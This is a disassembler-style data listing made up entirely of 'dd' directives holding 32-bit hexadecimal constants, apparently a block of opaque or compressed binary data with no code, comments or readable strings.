		dd 1CE74E30h, 232501FCh, 59CAE5D5h, 0FBFFF4D2h,	1AF07DEEh
		dd 0BF989F00h, 0E97BE14Bh, 0C9F51FB3h, 0BCEE89h, 0A79FF873h
		dd 8790E7FAh, 24DB3400h, 50E2D549h, 43EEA2h, 4072F17Ch
		dd 7F144BDCh, 823FF724h, 0F00B4500h, 133A02h, 165F2DC9h
		dd 0D62C2379h, 7041A90h, 0C1A2BB42h, 70202D80h,	0E78A7CF6h
		dd 39F5830h, 55679701h,	0D392ADBEh, 0F043B0C1h,	0D03E90FCh
		dd 0C2AF80A3h, 0B5EC4FFh, 0B07A71FAh, 40DF1E04h, 4B754081h
		dd 5B217E86h, 10D34430h, 3DA6B055h, 478079EFh, 9A62BCA3h
		dd 0D8986C5Ah, 0A035EF0h, 70105BDAh, 64700163h,	1507688Bh
		dd 529880E2h, 0CEE95C3h, 0C85801CDh, 0E0048E4Eh, 0DA10FC06h
		dd 0E5AAE00h, 3F8B7526h, 0B7ECB3h, 0CFE2B113h, 6C56C33Eh
		dd 70577800h, 0F40EF69h, 0B5E51ED4h, 0C0B8058h,	0C8559C1Dh
		dd 51A6BCA0h, 0BF9B2500h, 0BADB430h, 301260FCh,	0A3AA1EEEh
		dd 0B6425C07h, 8410FBDEh, 106F32Fh, 0AE700307h,	93F9B4F8h
		dd 4C007336h, 0FD57B0C7h, 0B72E4CE0h, 0FA4B8C00h, 3EE44D9Fh
		dd 23002D79h, 5991A3B7h, 980D5CB5h, 52E0315h, 99525DBDh
		dd 95C0FFFBh, 4F0043D8h, 0F3418BFCh, 1BD93Fh, 0CA790A01h
		dd 0D355AC9Ch, 0FCB53404h, 66808132h, 0D2677Dh,	4E80EDFFh
		dd 0AFC2D905h, 1E4DD38h, 9FBBBACEh, 0EAF0C794h,	9D180F70h
		dd 2CAF7A79h, 16524360h, 6701B2C5h, 0BEB09E46h,	15F8D7D8h
		dd 0DE7C0078h, 341EE0B9h, 0EF009A3Ch, 2A0C3575h, 83C896h
		dd 591A72E2h, 8A1DCE2Bh, 0FA044100h, 0C834BE30h, 8352009Ah
		dd 0A12ED54Dh, 0B5008AA5h, 0B80C4F46h, 0E303ACEh, 626D5736h
		dd 0D8B11A20h, 0B200617Ah, 805AE7DEh, 60147505h, 0BA5E11BFh
		dd 0E26C559h, 0F43971CAh, 8744F104h, 9F811C1Ah,	608EBB8Ch
		dd 6FC01511h, 2E966227h, 0FF1C6B03h, 80A6350Ah,	5C9D0B4Ah
		dd 6A1FB47Ch, 81A3C2DAh, 8C4076A1h, 0D439FF91h,	592483DFh
		dd 0C8584D96h, 855F31h,	0EFAB0223h, 1289C806h, 1E66A917h
		dd 6A423F00h, 7BD2FD7Ah, 244E007Bh, 6852AFCCh, 0D02461B0h
		dd 0B0070CAh, 0A569D3Bh, 56416AAh, 51A840D7h, 6AC33FC2h
		dd 823A3190h, 5F53AE0h,	46250771h, 0BFCA2890h, 6038BA92h
		dd 16AF160Ch, 0B207E63Eh, 38280206h, 0CE56FAF0h, 6E4400F8h
		dd 0CAFFE2FCh, 3A07F1DDh, 770770D1h, 0E85E49A0h, 62F3974h
		dd 2B948500h, 71A9B9CBh, 60096300h, 624A1436h, 4C3700BEh
		dd 0BFBA8768h, 1B374399h, 0E587902Fh, 38007E6h,	82F367D7h
		dd 0D0E79B33h, 8B3AC709h, 20209932h, 0C939E086h, 660A0B5h
		dd 0C46CA17Fh, 52ACF980h, 22CA4CF2h, 0BE299360h, 79848Eh
		dd 0EB2ED755h, 26066AE6h, 770030FAh, 8B3153B7h,	8CA04Eh
		dd 95C6D547h, 0FFC481AFh, 941EAA00h, 0F81592E9h, 6C1000F5h
		dd 0A83A8D1Ch, 0EB00A56Ah, 6F4BF60h, 17B97BA0h,	0E36866h
		dd 37050B90h, 0A6093DA3h, 0FCCBFBh, 89A924CCh, 3BF10193h
		dd 22D8A73h, 0FD9340BCh, 1339E251h, 2CA48E23h, 6AB9607Ch
		dd 72475C1Bh, 3A5100E5h, 0A02DA5E0h, 713C0627h,	0B3E200E3h
		dd 0BDC6D468h, 5B88A9E9h, 0D73420h, 2C8DE8BEh, 97943C4h
		dd 0C5E03907h, 25D0CDB4h, 79F5414h, 0D132F5A5h,	6D934005h
		dd 0FA00B665h, 57D8F2BFh, 0B87876h, 81381B82h, 5C09058Bh
		dd 6E25FE00h, 0D13C40A0h, 9B9EA8Fh, 4BBA9133h, 4418E040h
		dd 98A33607h, 4250E0C5h, 16F2D09h, 0AED5FEDBh, 0CA0479A4h
		dd 6B050459h, 80EA5FB1h, 461A5170h, 0A3229500h,	0BCE16C4h
		dd 0D98400A8h, 5B333136h, 4B00D6B3h, 980322E9h,	3C71E601h
		dd 0D700C119h, 0E293179h, 0AD063E73h, 0FCDE5362h, 1CCF0290h
		dd 26FD4709h, 6AB1CC40h, 7055B14h, 65E705D3h, 3480159Ch
		dd 0E8BA84h, 236EB78Bh,	1ADF7DD2h, 0A99A4502h, 50C39549h
		dd 37720028h, 38EFC628h, 48B0C4ADh, 0CCE78139h,	14DB0120h
		dd 0C84C8C57h, 5100082Ch, 0F3A2A901h, 3F009EE9h, 0EE802628h
		dd 3FBAD144h, 88FC790Fh, 577EF0B7h, 0D2138800h,	6FE4B08Fh
		dd 93752Fh, 86DB43C6h, 0E5AEB5EBh, 678FFF00h, 0FAE8084Fh
		dd 0A8A160DDh, 62552C94h, 80E4CC3Fh, 0E271FBABh, 0F48EF66Ch
		dd 2F6000F8h, 0ECA805D4h, 3C0039B4h, 0CCEBE75h,	0E91501F0h
		dd 344EDCCh, 8A8034A8h,	0FE80D80Eh, 0A5007912h,	0A9FC60D6h
		dd 2BE577h, 32D9FA35h, 3E4B8344h, 0ACE8C700h, 1D88DCD3h
		dd 5BDF018Dh, 708CF8B7h, 0D257F884h, 4301DD79h,	23A4EC72h
		dd 0C8727DC9h, 0CF80513Dh, 0A68E2E98h, 0AC1BDBB2h, 0F0F8B43Dh
		dd 57CE6FAh, 9E966E11h,	0E448C9F7h, 7F000185h, 0EBE9008h
		dd 0F51659h, 370D7B67h,	976DDB81h, 0A0F9B500h, 0A9B145B2h
		dd 3C91018Dh, 0C34F6070h, 1C28343Bh, 7101C8B0h,	15E199FCh
		dd 2560F91Fh, 12DB0B89h, 0CA8018D8h, 0C5BE243Ch, 20315B01h
		dd 372FE533h, 3A03F6FCh, 28858BD9h, 0FE42B8h, 7D60C2E4h
		dd 0D207A281h, 0FF2FC83Dh, 98380Ch, 37650956h, 6EE084D1h
		dd 1D6D1A00h, 0FDAE4D14h, 1C79270Eh, 65521420h,	434E3467h
		dd 0F7883C00h, 0C19669D6h
		dd 0FB93B211h, 0E8B880AFh, 0A77E903Eh, 26ECC1h,	0F0BA3625h
		dd 6DFF9A09h, 0BCDDFB00h, 0B4A015D3h, 0B8910008h, 84AC2D72h
		dd 6F1644BEh, 0C0004CE4h, 0E138067Ah, 891207C0h, 6081342Bh
		dd 6DD5C950h, 0B8078D72h, 8AAEE575h, 607905B0h,	4FD30039h
		dd 0A7101B7Bh, 900009C8h, 1FA642BAh, 0C143D9h, 7237CB85h
		dd 2B2CF5Eh, 76B58000h,	7F69AE91h, 30BD0078h, 0D5F498B6h
		dd 6B0029B7h, 6C5BF1FBh, 0FD87518h, 0B05FF022h,	0E2F7D4E0h
		dd 45EEBC7Ah, 0C5434100h, 0B56A259h, 16991D3Fh,	20FCC06Dh
		dd 0AB09B847h, 29131B12h, 27242700h, 48C6D7h, 9F1AEFB3h
		dd 15B402AFh, 64C3A800h, 0C02FF53Bh, 38C0292h, 0F61F29B6h
		dd 0C2532EE0h, 0ACED1300h, 0F3C57DABh, 1BA3E856h, 1081E2A4h
		dd 4FCC41F0h, 969820h, 53A98B9Eh, 174AF17h, 683F4504h
		dd 0FAC363DFh, 0EB50D06Fh, 0D58D005Ch, 9F2D6B39h, 310054A7h
		dd 46EEC65Bh, 13BA24h, 0F10C7401h, 1060B7D4h, 8B67100h
		dd 6A288B66h, 0DD8348BDh, 99066C00h, 195BCAB5h,	0F4617717h
		dd 24C0191Dh, 79AE3DF1h, 33950097h, 0D6DD0AA1h,	1500F89Eh
		dd 301B05Ah, 0E4FCB5F3h, 3DB700A5h, 0CE38D03Eh,	4C004A19h
		dd 53AA7A3Fh, 2E9E43h, 20587671h, 7C9B060h, 0FD32EF1Fh
		dd 61100280h, 0A598Ch, 6AE25BC2h, 1CDF9572h, 0F93358h
		dd 91367CA4h, 0C9C0ABh,	0EFC9B2Ch, 421F5FA1h, 0EF965B00h
		dd 85BD9EAEh, 0EDEECCh,	0A931B138h, 0FAA2C803h,	0D205AAFEh
		dd 41DAE8CBh, 5589E582h, 76942760h, 7A741090h, 2B6C9205h
		dd 0C4077E24h, 7C61FDD6h, 0AAD81A39h, 94BE00A2h, 0E60A45BDh
		dd 6900420Bh, 0D75FB2E2h, 7797D157h, 479C0063h,	0C96A121Dh
		dd 0B0EF5E3h, 803591C6h, 0E764EA7Ch, 4E320767h,	8080813Fh
		dd 282D982Eh, 0D8F6E100h, 364A5247h, 0A6DE00E7h, 7533B5B9h
		dd 31016EAAh, 2E65C41Eh, 0DC4FC4Dh, 0AE060588h,	55265Dh
		dd 7305609Ch, 1763502Bh, 0D86CDE72h, 13F88Fh, 2FAE2532h
		dd 8D6A63F4h, 9CBA0B1Dh, 4E58013Dh, 0F11642D4h,	49B220F0h
		dd 76036011h, 6C94098h,	6B1A9800h, 0A381AE2Ah, 270100EAh
		dd 3C1053A2h, 56007FD9h, 6FD3CD82h, 97C67BDh, 2D6DB765h
		dd 8761EE01h, 0BF5C207Ah, 0F9A82200h, 32C9DAF6h, 7E75EBh
		dd 75E9E1F1h, 434DF841h, 0BD44F324h, 54E64900h,	73CA07Eh
		dd 87B18539h, 250A905Ch, 76F4A36Ah, 4A923A00h, 0FB5EC509h
		dd 2A4C0B24h, 990AB4B5h, 0F229007Ch, 87158D4Eh,	3624D500h
		dd 286988Bh, 5E560C50h,	0DC28F285h, 8E208967h, 0BF2A2E1Bh
		dd 713B05BAh, 8800AB16h, 0EE6320DBh, 25A30FC3h,	19D3E33h
		dd 81E8639h, 9851F0D3h,	0BE15B909h, 0ECB70389h,	0F699F8BFh
		dd 0DDF2DBh, 9554904Bh,	73A21F91h, 4C0C7A00h, 1CA5EAADh
		dd 8996019Bh, 57DD7B0Bh, 337DD0E6h, 0C5F03Dh, 694886DCh
		dd 1DDE723Dh, 0C06855B8h, 3CE5FFA7h, 0E2003EE7h, 0C98FF15Ah
		dd 7CEF7E22h, 1BB0F7h, 0EB721BA0h, 8F389411h, 117E23Ch
		dd 657BB60Ah, 67D08E77h, 95402A0Dh, 1C545410h, 0EF6E003Eh
		dd 15EADD1Dh, 883A173Ah, 0A81B808Eh, 7FA5ABEBh,	0FFFC017Ah
		dd 0C865DF5Eh, 0B9E0D3B3h, 3D004878h, 6CB51FB0h, 0F19A2AFh
		dd 257B6B89h, 154930E0h, 5A0776A4h, 9E0BD0DBh, 66722FE0h
		dd 0D21A00E5h, 0C7DCEDC4h, 423D6729h, 7DDA079Ah, 7EAB98h
		dd 6E8D362Ah, 0AFA26h, 0EECF1618h, 7CB85CCBh, 0A70076E2h
		dd 9E3227E2h, 721EBC8h,	2AE4D41Eh, 0E8BF302Eh, 0EA00807Ah
		dd 3570FD5Eh, 2DB7CA76h, 0FBF07E4Dh, 0D86FB009h, 8453086Ah
		dd 0E9E54700h, 0FFDE33h, 59BD4EC8h, 0FE996A74h,	0D7E61F00h
		dd 2F877E15h, 0CFA001Ch, 0BDDA3F25h, 3300268Ah,	1980E4E1h
		dd 0C664253h, 0A95CB701h, 0DE00ED8Ch, 1778BBA0h, 3B86B0h
		dd 0B9355FB4h, 492D386Ah, 4AD97C00h, 0E908FF4Fh, 0DC0D1EA4h
		dd 2CEB4039h, 8B7EFE3Bh, 740F520Bh, 507B83A7h, 41EEC033h
		dd 83030075h, 0D077E1BAh, 55006A05h, 0A221FDDEh, 46E6DCh
		dd 97D86DDh, 0FCA990FBh, 0C1A50400h, 0E8571741h, 4BF90F33h
		dd 0EA005C81h, 3DC8BBACh, 0FE8B1B17h, 7047B0h, 83D5D3AAh
		dd 5C3B9D1Ch, 2F333Fh, 0C2C19F0h, 3D8F7761h, 63002658h
		dd 22868066h, 0A800E141h, 4992D957h, 3E21DB24h,	98E094EDh
		dd 33DD47F1h, 0B06F2A03h, 0E9D25h, 416E0348h, 36698AB8h
		dd 1A66A012h, 27AC5847h, 0D9889D90h, 4F4C1C6Ch,	0D7C600DDh
		dd 0FB8FF092h, 80AE6539h, 0AA56D643h, 0FC896291h, 23B400C9h
		dd 1E32AD68h, 7F24A4EEh, 1DB97C05h, 6EC753CFh, 39C133EAh
		dd 0C0FA0212h, 1A6237Ah, 1577CF4h, 0B8B40E7Eh, 0C01580A0h
		dd 23C33A93h, 2C290AFBh, 0B76926h, 0E2C61D1Fh, 59601E67h
		dd 8C4D70A0h, 0E7F50052h, 0F06A033h, 9500574Ah,	7327BBCAh
		dd 0EE6CE655h, 8C463AB1h, 0BAA21381h, 0E04B0C78h, 5800B0ADh
		dd 0E174E5A9h, 1E4A02h,	63DC8F94h, 9F3A1A46h, 96148800h
		dd 0CD62E6C8h, 29D8616Dh, 0C827B643h, 0AB0079B0h, 9587A818h
		dd 4C2A3DBDh, 0E84C1015h, 47001C38h, 38074849h,	0B001CDC6h
		dd 6D3DF078h, 0EC205AF7h, 57713314h, 0BCE0E4D0h, 0FF01901Ch
		dd 428BF802h, 0D040C432h, 0C0792DEBh, 0B25E85B8h, 0BC010993h
		dd 83743865h, 0A047B567h, 0B313E7B0h, 0AB8ECC9h, 726CAE50h
		dd 0E6C08090h, 9E39BFEFh, 400AF103h, 0F0EB5643h, 303F723Ch
		dd 928F4BDh, 58078E12h,	0B06ABAE5h, 2B39DE60h, 4ABE0E5Dh
		dd 0B7E4D6EDh, 9020805Eh, 1A8011C4h, 52350327h,	88C21882h
		dd 0F0CB47F8h, 0A4B37A00h, 4695CBAh, 0D4BE00F8h, 0F1C82BD6h
		dd 0C9541CFDh, 8706BCA8h, 0BFCC8B94h, 3FB00789h, 0A936A864h
		dd 147B2C02h, 29B5F921h, 0C0B712E4h, 32FAE3F9h,	0D800E622h
		dd 0F160DC21h, 2A5D69DFh, 80829Ch, 0D35F16D0h, 0C1DE7064h
		dd 5773F800h, 5D29996Bh, 44E83DE3h, 0C99DE900h,	7D3B0297h
		dd 8DB55B00h, 0C740B75Eh, 0CAFE0345h, 5CE57A0Bh, 0CD088AF8h
		dd 0E3E80104h, 6CD72F37h, 1B95A560h, 0F9D20096h, 0EBE84D72h
		dd 49383A24h, 0D3690047h, 981052EAh, 0C9560028h, 12430FB0h
		dd 0E92EC891h, 87006260h, 0FCE7CB2Eh, 0DC270E0Ch, 7900BEEEh
		dd 0D5A5BCECh, 1C3E900Bh, 0E790165h, 13CC15E7h,	41F002E3h
		dd 1DCC3D87h, 0B083A043h, 0C4F419D8h, 0D2510F0Fh, 7E92E0E2h
		dd 1471095Ah, 0AC1046DFh, 5AF5A218h, 247F5364h,	37E81200h
		dd 0DCFCBF82h, 112F1E35h, 85FB405Dh, 33AC4A98h,	0B9A7F500h
		dd 0CB74251Eh, 0B7D300CCh, 170FC9AAh, 570163A0h, 712BF4B3h
		dd 64247899h, 0A7F60360h, 1C594A51h, 0B2DFE9D8h, 0D9F0FE0Fh
		dd 3856E069h, 0E709ED2h, 0CFFCAA77h, 109CE506h,	0E7BC1D00h
		dd 0D3C8860Ch, 6B3774B1h, 2B02CCACh, 7C60CEE9h,	6998E53Ch
		dd 2180F49h, 25A646CFh,	151C6927h, 774EEF8h, 8A58CD30h
		dd 0B7A40096h, 0EF14BCEBh, 0CFC72Ch, 0F9301A84h, 1CE64065h
		dd 1C0D2ECh, 0BE0AD0C9h, 33E04034h, 0D6E62BD3h,	891E4700h
		dd 0E99BC3B9h, 0CE2601A2h, 0DF6CC94Bh, 0A70E9FECh, 0DA777C03h
		dd 0BA31A883h, 1F0703DEh, 0A3148CF9h, 0BE4B3F90h, 0AB2FC300h
		dd 1AAC39B7h, 1E230FE7h, 11780809h, 0A003C51h, 7CADCE47h
		dd 7736C35h, 6594DA3Dh,	0F6247230h, 4B5FE490h, 3CE93B00h
		dd 0FA3DA243h, 8D33009Bh, 0B82DC58Ah, 470B9545h, 38B57EEh
		dd 80895890h, 447012h
		dd 0DB8FAB60h, 0C6238192h, 2102F500h, 0D1F32528h, 56410019h
		dd 0B40AF894h, 157C6E7Eh, 0AD956709h, 920500E7h, 0DA96A5h
		dd 0C5242097h, 9C1A1DF6h, 0EB00189Ah, 0C9B21F67h, 696DC4h
		dd 2003F03Fh, 0CD572729h, 28781D0Fh, 0DDB540B7h, 0E0685Ah
		dd 125C0D16h, 434DBD06h, 0BEEB7000h, 0A576439h,	5ACB0BF3h
		dd 0BC90A355h, 8900919Ah, 70DEBC65h, 2A933CF4h,	4010A556h
		dd 26B04C8Bh, 3A6B0A3Ah, 0DADE2C3Bh, 60A9E618h,	0E57E7FA7h
		dd 0B80DF870h, 0ECFB00FCh, 5409A0B8h, 450EF16Ch, 20947D05h
		dd 43078999h, 0E8F83DC6h, 6480D93Dh, 22F53FDBh,	6000EF6Eh
		dd 0A387E54h, 0D026688h, 775EB820h, 420CE158h, 245133CAh
		dd 6C8A510h, 7CE003Eh, 607BD80Bh, 44920053h, 45042573h
		dd 0B71E11D1h, 594705EFh, 0C2303D72h, 0D409F9h,	0ACA4C647h
		dd 764C2051h, 0ED12900h, 9E77FEBBh, 894000Fh, 578A662h
		dd 0D70FABE4h, 86CAA75Bh, 0EA8A4h, 8A7B6BA3h, 700B8DF7h
		dd 562E2D0Fh, 2140DD48h, 0CF74A589h, 33DFECBh, 0BBFA621Eh
		dd 9B80A1B8h, 0B3001D0Dh, 28C6B154h, 0F458E92h,	2109C18Ah
		dd 0EBCD0F97h, 0F7FF48Fh, 1F83C034h, 18FE6FC3h,	77F53826h
		dd 1003037h, 3E5A7F9Ah,	2D103990h, 364C0F7Dh, 28818699h
		dd 1F97F008h, 0CBBCCD43h, 0E680DB37h, 57A67B6Ah, 846F990Ch
		dd 96292Dh, 0BE9430C2h,	0AF4813B6h, 217909CCh, 30A914F6h
		dd 5800A465h, 0D89CA006h, 0C331FB4Bh, 7FD3A02Eh, 7EB7108Ch
		dd 30F332C9h, 6001791Ah, 7129E181h, 0EB3031F7h,	3C0930C4h
		dd 78D1217Eh, 0DD944C0Eh, 0C02B4F35h, 42BD22F9h, 0B7F500EBh
		dd 82D53FADh, 0FD7697B0h, 129D4D00h, 10C06C5Eh,	0E4080042h
		dd 27134C75h, 33006DD7h, 6EF1FEAFh, 10912D5h, 2AFD76BAh
		dd 0CC1BF84Fh, 0E0099A0h, 4020C478h, 10ECE8h, 7CFFD555h
		dd 82CB16D6h, 0B2DE442Ch, 3CE41400h, 0F6D9AEFEh, 77EF004Eh
		dd 0F373A1D8h, 8747404h, 66D6D001h, 9B1B20BDh, 3570CCh
		dd 0D51A957Ah, 0DB6B2E6Fh, 68007FFEh, 0BE54F038h, 968143h
		dd 0A126211Ah, 9A44E3CEh, 47002B79h, 0C2B4A9BAh, 7556517h
		dd 0D7035DA7h, 6080DFB9h, 7FAFE3E6h, 90773FAh, 0A75D6C01h
		dd 58F216h, 84C4636h, 7E726694h, 120FBC0Eh, 0F42B40E0h
		dd 326FEEh, 70362629h, 5A28EA02h, 2D09A800h, 8F9EAD75h
		dd 59655871h, 0AA03F700h, 4F0D551Ch, 0C0814728h, 0FF8C0700h
		dd 1DC22C12h, 41DC38h, 8384B804h, 710CE5CBh, 30D10825h
		dd 0E2140046h, 0D6D8FC3Eh, 0AF00A88Fh, 7E98FFC6h, 796E7409h
		dd 6DDE018Bh, 0C387D3ECh, 0B3E06A14h, 0E5F8379Bh, 20F4F061h
		dd 4200C7B6h, 9EEBC23Fh, 4FB801h, 62490F36h, 544BA593h
		dd 9CFDE400h, 1F2460C8h, 902D6012h, 2517DA9h, 6AA2AD03h
		dd 77B3Bh, 0B3A463A0h, 0DC5A610Eh, 8F602F00h, 5034C58h
		dd 0D0EA3074h, 5C870481h, 0F5552900h, 9C067BB9h, 95C1141Fh
		dd 0B004EC24h, 807CDD04h, 274CACCFh, 0CF34701Ch, 4FD98171h
		dd 0A28853h, 0DBF9DFE0h, 48A9FED8h, 64FCEA0Ah, 1E00E0F3h
		dd 664E7FDAh, 0A0BB0EB5h, 0D360F8ABh, 17CD970Fh, 7A863101h
		dd 0F11E761Bh, 833C24h,	0DDFB7D0Eh, 56F2A5A4h, 0FC1F19C0h
		dd 2EE4AACh, 256E4E92h,	0D5607071h, 9EFA57E3h, 0ECE75818h
		dd 2658B78h, 8A423A4Dh,	90A5B5DCh, 120AC183h, 23AAF3B9h
		dd 43A89680h, 3E16F0BCh, 901C4B4h, 9D1F12FEh, 7880D5D1h
		dd 2F8A5250h, 930021AAh, 6EB108CAh, 18767EA3h, 29AB63C9h
		dd 7400B856h, 5CDC1EFBh, 7F90C65h, 0A72283BAh, 7652A0D3h
		dd 23008A2Eh, 24A6AAA2h, 0CD9E1Dh, 0CAC36F3Bh, 0E9144F31h
		dd 44116D00h, 58FD88F6h, 36900Eh, 0AB1E2BF7h, 471986C6h
		dd 36C14200h, 54C3639Ah, 437400BFh, 356DCDDEh, 98902AC6h
		dd 8001CB38h, 2F2C88D0h, 2119843h, 9A1780D4h, 43B1A2h
		dd 998A40E8h, 3574751Ah, 0B49243A8h, 280840D0h,	38472FCh
		dd 9ED91E8Bh, 0EEF870D6h, 5671957Eh, 0AFC0E500h, 77E77F8Ch
		dd 68D60009h, 0C8F34ED1h, 9C92B007h, 13F4A58h, 0C4093381h
		dd 4424407Bh, 71B70334h, 133D1B14h, 7CC32C0h, 0BD64721Dh
		dd 0D8D3DE00h, 660439h,	2388E0D7h, 0F3C05498h, 2D7A0600h
		dd 1061D30Ah, 73D10037h, 0B53F193Eh, 0B2E4999Bh, 0C6014CF0h
		dd 60C4CC67h, 0F820C20Eh, 1CFE06D1h, 0EC902BCBh, 36B89100h
		dd 23E0D6C5h, 0A5EF0056h, 5DAEB7C4h, 0A8C00672h, 52C16586h
		dd 64B9D0A7h, 0E1B2EDA0h, 0DFB5B801h, 241907ECh, 0D1C5F440h
		dd 0FD182690h, 1DBB9F38h, 4C5E00E4h, 8E41CE21h,	0ECA350C2h
		dd 96C480DAh, 607CB47Dh, 0CBF478F9h, 482CAA9Fh,	0C600DBF0h
		dd 55844146h, 0FA7DDEh,	0ECAB93E5h, 2EE2D682h, 1D53B12Ch
		dd 44F51A00h, 29DEB79h,	8726CA37h, 9D61ABB8h, 89F0704Ch
		dd 651F6C01h, 0C0668671h, 1DC834h, 5480A0E4h, 75431074h
		dd 5B1C0200h, 0B0E9A215h, 3EF817h, 7E0CFB81h, 11C6734Ah
		dd 0C25A9B00h, 0C306403Dh, 0B55F0080h, 5E8E779Dh, 0F371AAE3h
		dd 0E2BF0E00h, 61213CA0h, 89E500EAh, 65CE7D85h,	7FB0FD92h
		dd 3444182Ch, 0A52A2100h, 0BF45CAh, 0D6291E8Ch,	4C48646Bh
		dd 0E7766C00h, 0A614D9E6h, 0CADC303Ch, 9B05ECCCh, 920E1AF8h
		dd 40D7EEFCh, 6E386B39h, 47A75h, 1918F8A5h, 2911BC73h
		dd 0A31A4607h, 0B2C1FD30h, 79FCC5D8h, 3D1F00C0h, 8E6020BFh
		dd 74016B16h, 8DB0C3A8h, 0EDE03AB2h, 8760056h, 330AD468h
		dd 0C4001B01h, 885181B4h, 73B915h, 0FEDB7219h, 7AC0B03Eh
		dd 80017F3Bh, 130DCD42h, 63F6BD5h, 7582F243h, 40026854h
		dd 79CB99A1h, 18586864h, 1B7D0B8Bh, 0B42A41DDh,	25DB0902h
		dd 0D33C2Eh, 0A42648A3h, 56000CB1h, 0B936DA53h,	4113C1h
		dd 4FBBF06Ch, 9B617A72h, 0D3037803h, 0FC302189h, 0AD2008C3h
		dd 82CDD880h, 0E1D206AEh, 80C0A5A9h, 83033B01h,	21359F48h
		dd 4AF05875h, 0E2B30077h, 377CDE85h, 0B42C6148h, 9C940863h
		dd 0BD5E0114h, 0C548EB54h, 6F845130h, 0A50F18AAh, 6C3C409Fh
		dd 49D3BA0Bh, 477A4E00h, 735A35B9h, 0EB3402B0h,	22307868h
		dd 1ADC0880h, 68C451C8h, 4C8383CDh, 3801A5B2h, 63AB0D12h
		dd 0BAB97A13h, 0D174E4D7h, 0D467CD09h, 500A1BEh, 504263FEh
		dd 48560042h, 26503064h, 442A5028h, 3360C4B3h, 78A8E548h
		dd 9E6B008Eh, 606FBAEBh, 0F300AF36h, 470B38C2h,	0E0DF2F7Ch
		dd 0CA610056h, 74679E7Fh, 9A77459Fh, 708EF2Ch, 0D8BC0900h
		dd 6D764Eh, 80EA9765h, 0E2A97ABFh, 0C2C34903h, 0B0E189F8h
		dd 0AB4E2Eh, 87DB576Eh,	0DEF4B783h, 4DB4A600h, 63D7DA97h
		dd 15F91E4Ah, 3FB3EF2h,	9046CE82h, 0B0AFAB0Fh, 87A267E8h
		dd 0BD25B200h, 9541455Fh, 0D78830ADh, 0FF3D57E8h, 525D8E00h
		dd 5080AC1Dh, 1A4F601h,	0E7530DB4h, 2F733517h, 952BAFC0h
		dd 7CD100D5h, 0FEABD36h, 1001DBB8h, 38CE5960h, 0CCC0E004h
		dd 15F4E1h, 913C3F96h, 26AD716Dh, 1864A912h, 1CE409Ch
		dd 9B42FFB2h, 0E19793F0h, 34D0EC3Ah, 1EC41907h,	0EB306058h
		dd 0F19F32h, 0E4C6B361h, 1229A5C3h, 207BAC12h, 16B9A201h
		dd 8C205183h, 2D960073h, 4602587Fh, 0CA7E8DCCh,	0BB00F477h
		dd 56C63C9Dh, 0B22BF59h, 26FF9C20h, 5349E000h, 0D100A107h
		dd 0ADAC98E8h, 3F524074h, 8C806E3Ah, 1D8482DBh,	9A634771h
		dd 0A072F768h, 0D7C9A4h
		dd 775180B8h, 167505Ch,	80E6500h, 0DAB221CFh, 0D8E071h
		dd 0F21F14F9h, 0F34BCE0Ch, 0FF33D600h, 993A9B5Bh, 13F0EE8Dh
		dd 7CB1D9h, 0E85A7575h,	0DC0069A5h, 0E240B43h, 4A3F84h
		dd 41F96A97h, 8D35A074h, 3EDC4C01h, 330717C5h, 0F8BECAE8h
		dd 0B2160067h, 0C33BEDB5h, 82FCDA73h, 89502300h, 0EB8112B1h
		dd 757870B2h, 754A0FF7h, 0F9E06408h, 507A0CCh, 0D52C7600h
		dd 563B8F13h, 0F3600002h, 0EF2D3C30h, 0A07FA57h, 68F0B68Eh
		dd 0A04F42F7h, 4CA036E2h, 0FDF10012h, 0A311C8CBh, 0D1001069h
		dd 0FF321A24h, 3B73B7h,	3C7BA4DCh, 28A2FEF9h, 8D87B600h
		dd 6DB29D2Dh, 7F160744h, 10AA506Fh, 0B4DC3EA5h,	48ED9003h
		dd 5D9EC8h, 642228B4h, 0F08EB826h, 0FC0154F4h, 82A1153Fh
		dd 0ACCC1B8Dh, 0F0797F69h, 707E00ADh, 85CFBE30h, 5E00A30Fh
		dd 2218B052h, 0E1F7D0h,	749B798Bh, 0F1435102h, 666FBB00h
		dd 0F3D5C9D9h, 5BDF0297h, 732D7B4h, 55EBD080h, 0E20047CAh
		dd 0F28E5D34h, 7F7F0ADh, 8D16CB8Fh, 0C385E0FEh,	843E9C9Bh
		dd 50BE0364h, 0EBCE5FD5h, 0FDC4D06Ah, 0EAD0E72h, 0BEAFB822h
		dd 17AB62C0h, 1800F1F7h, 15CF1FDAh, 3EEB071Ah, 4F94B1EAh
		dd 0B407D5EEh, 33EFF63Bh, 0D2D8D668h, 2160CB5Ch, 0E3DD6EF4h
		dd 5131095Dh, 0A07BA01h, 9CAA30FBh, 0C24F1DEh, 5006322Bh
		dd 4E484Bh, 1339650Eh, 3E3FD371h, 0D67FBF0Fh, 0DD5A017h
		dd 1983E3h, 1A2ED1FAh, 0F629230Bh, 11782401h, 146C215h
		dd 30F41CE4h, 77B18039h, 4E01EF63h, 0ECCC8D0Ah,	18801609h
		dd 1D221C44h, 0F500709Dh, 59FF8C33h, 0F299C51Eh, 3626003Bh
		dd 0D566CD04h, 0A41C8642h, 4E52F701h, 926E5043h, 1E04D863h
		dd 842101CCh, 76959EAEh, 0FF4C4A1h, 3581BA01h, 5436C9BFh
		dd 0B508F06Ah, 329D23Fh, 3ED71337h, 97B3D8B4h, 0FF550325h
		dd 859C99BFh, 0D9BE5888h, 0C92DA000h, 87CF023Ch, 0DE8601D5h
		dd 0F963B72Eh, 0F736E0CDh, 0E1EE4573h, 8BC3AE04h, 0B5C056EAh
		dd 0B0B7A0B6h, 2134000Eh, 0E487D393h, 0ED3FD252h, 62DA8076h
		dd 0FFA24EAAh, 111000DFh, 0C6DB0A5Bh, 0A800540Dh, 514B62F6h
		dd 97D7C6Ch, 0A79B4831h, 0A0F1AF80h, 0A9FAFC85h, 30E8701h
		dd 172FF0E1h, 75644570h, 5C742Ch, 8FDD3FC7h, 574781D8h
		dd 456E6500h, 698C7105h, 54070002h, 4DEB802Ah, 892C92FCh
		dd 3F014013h, 0F261D020h, 0E40A94D0h, 0BC780F0Fh, 1F4031D9h
		dd 0C56011B6h, 0EC66C403h, 0A7190850h, 0D646C150h, 45DD0689h
		dd 9862E6E2h, 0D88BD72Ah, 0F9043Dh, 40F6FCBBh, 447338Eh
		dd 0A682FE66h, 1180C067h, 0DF03646Ch, 30854CE9h, 461A821h
		dd 0A07F49E5h, 27A70F09h, 0F2E32020h, 1D48ADF9h, 1849C0B0h
		dd 141623h, 7A278C29h, 0FEA7E2A0h, 0B0633B0Dh, 42C4C0D2h
